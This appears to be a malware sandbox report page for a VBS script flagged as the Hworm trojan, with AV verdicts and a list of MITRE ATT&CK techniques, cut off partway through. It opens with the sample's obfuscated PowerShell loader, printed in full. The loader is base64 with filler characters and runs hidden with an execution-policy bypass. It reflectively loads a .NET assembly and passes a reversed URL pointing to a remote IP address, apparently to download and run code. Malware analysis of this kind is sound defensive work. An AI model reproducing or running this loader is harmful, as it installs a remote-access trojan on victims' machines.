QBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790755550303,"unified_at":"2026-09-30T08:05:50.303Z","metadata":{"hashes":{"sha256":"a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509","sha1":"5079077dbd47d19238b0ce1bf2bff5fcb8e7725f","md5":"64827280ed886883890da822d124f7af","sha512":"063b7c615cdb07869e42dcec4aa153d7ad9bc7850f02be8ada9175f954b22d9f8c556e714da84b5c2a6f3de84024ce9958d0d3de6faf7a81c9050ab37c738e2d","ssdeep":"3072:+d8xTM5XNsnc+jy+GMI8MxzakIedAL+dwe3MBEN0OAP+lhdlBRi6:+d8xTpntTMxzakhdddHR86","ssdeep_chunks":["3072:+d8xTM5","3072:d8xTM5X","3072:8xTM5XN","3072:xTM5XNs","3072:TM5XNsn","3072:M5XNsnc","3072:5XNsnc+","3072:XNsnc+j","3072:Nsnc+jy","3072:snc+jy+","3072:nc+jy+G","3072:c+jy+GM","3072:+jy+GMI","3072:jy+GMI8","3072:y+GMI8M","3072:+GMI8Mx","3072:GMI8Mxz","3072:MI8Mxza","3072:I8Mxzak","3072:8MxzakI","3072:MxzakIe","3072:xzakIed","3072:zakIedA","3072:akIedAL","3072:kIedAL+","3072:IedAL+d","3072:edAL+dw","3072:dAL+dwe","3072:AL+dwe3","3072:L+dwe3M","3072:+dwe3MB","3072:dwe3MBE","3072:we3MBEN","3072:e3MBEN0","3072:3MBEN0O","3072:MBEN0OA","3072:BEN0OAP","3072:EN0OAP+","3072:N0OAP+l","3072:0OAP+lh","3072:OAP+lhd","3072:AP+lhdl","3072:P+lhdlB","3072:+lhdlBR","3072:lhdlBRi","3072:hdlBRi6","6144:+d8xTM5","6144:d8xTM5X","6144:8xTM5XN","6144:xTM5XNs","6144:TM5XNsn","6144:M5XNsnc","6144:5XNsnc+","6144:XNsnc+j","6144:Nsnc+jy","6144:snc+jy+","6144:nc+jy+G","6144:c+jy+GM","6144:+jy+GMI","6144:jy+GMI8","6144:y+GMI8M","6144:+GMI8Mx","6144:GMI8Mxz","6144:MI8Mxza","6144:I8Mxzak","6144:8MxzakI","6144:MxzakIe","6144:xzakIed","6144:zakIedA","6144:akIedAL","6144:kIedAL+","6144:IedAL+d","6144:edAL+dw","6144:dAL+dwe","6144:AL+dwe3","6144:L+dwe3M","6144:+dwe3MB","6144:dwe3MBE","6144:we3MBEN","6144:e3MBEN0","6144:3MBEN0O","6144:MBEN0OA","6144:BEN0OAP","6144:EN0OAP+","6144:N0OAP+l","6144:0OAP+lh","6144:OAP+lhd","6144:AP+lhdl","6144:P+lhdlB","6144:+lhdlBR","6144:lhdlBRi","6144:hdlBRi6","3072:+d8xTpn","3072:d8xTpnt","3072:8xTpntT","3072:xTpntTM","3072:TpntTMx","3072:pntTMxz","3072:ntTMxza","3072:tTMxzak","3072:TMxzakh","3072:Mxzakhd","3072:xzakhdd","3072:zakhddd","3072:akhdddH","3072:khdddHR","3072:hdddHR8","3072:dddHR86"],"imphash":"Unknown"},"file_info":{"file_name":"EGK.vbs","file_type":["script","vbs"],"file_type_id":"vbs","file_size":328238,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1692019207000,"last_seen":1692019207000,"last_multi_scan":1692019207000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":66},"sandbox_signatures":{"informative_count":161,"suspicious_count":22,"malicious_count":2,"total":185},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Hworm.dmiour","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Script.Hworm","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","identifiers":[{"type":"suspicious","value":"Executes a VBS file"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Runs shell commands"},{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"Commandline contains PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Creates VBS file in Windows Startup folder"},{"type":"informative","value":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"suspicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Renames files with double extension (often done by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to set the date and time of the file"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"suspicious","value":"Contains ability to load binary assembly using powershell"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found system commands related strings"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"References to WMI query strings used to retrieve network adapter information"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground 